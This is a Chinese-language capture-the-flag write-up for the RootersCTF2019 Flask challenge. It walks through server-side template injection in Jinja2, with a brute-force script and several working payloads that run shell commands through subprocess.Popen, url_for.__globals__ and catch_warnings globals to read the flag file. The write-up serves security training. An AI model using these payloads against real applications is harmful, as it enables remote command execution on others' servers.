[RootersCTF2019]I_<3_Flask
从源码中可以看到GET传参name是模板注入点。
{{config}} 查看配置信息,没什么有用的。
{{‘’.__class__.__mro[1]__.__subclasses__()}} 得到所有子类
搜索有没有可利用的类,如file、subprocess.Popen,发现有第二个类,可以用来执行命令。
首先得知道该类的下标是多少,采用脚本爆破:
import requests
from time import sleep
url = 'http://62725703-5aa8-4d87-9e93-33566fd87c41.node5.buuoj.cn:81/'for i in range(1, 500):print(i)param = {"name": f"name={{{{''.__class__.__mro__[1].__subclasses__()[{i}]}}}}"}sleep(0.2)r = requests.get(url, params=param)if "subprocess.Popen" in r.text:print(f"结果是:{i}")exit(0)
结果是222
构造payload:
{{‘’.__class__.__mro__[1].__subclasses__()[222](‘ls’,shell=True,stdout=-1).communicate()[0].decode()}}
结果表明当前目录下存在flag.txt文件
{{‘’.__class__.__mro__[1].__subclasses__()[222](‘cat%20flag.txt’,shell=True,stdout=-1).communicate()[0].decode()}}
成功拿到flag。
假如没有子类可直接利用呢?
试试看用url_for.__globals__能不能行,发现可行。
payload:
url_for.__globals__[‘__builtins__’][‘eval’](“__import__(‘os’).popen(‘ls’).read()”)
也是可以的。
再进一步,假如这些函数也不能利用呢?
在查看子类的时候能看到有warnings.catch_warnings类,那就可以利用该类的init方法间接获得globals。
通过link这篇文章得到一个启发,可以不需要用脚本也能得到目标子类的下标:
将网页响应渲染出来的所有子类复制到Notepad++中
然后将所有逗号替换成换行符,记得勾选左下角的扩展。
这样就能根据代码行索引得到目标类的下标啦。在第182个
构造payload:
‘’.__class__.__mro__[1].__subclasses__()[182].__init__.__globals__[‘__builtins__’][‘eval’](“__import__(‘os’).popen(‘ls’).read()”)
也成功了。
总结一下:这道题是很基础的flask,没有任何过滤。相当于是 模板注入总结 的一道完美例题了。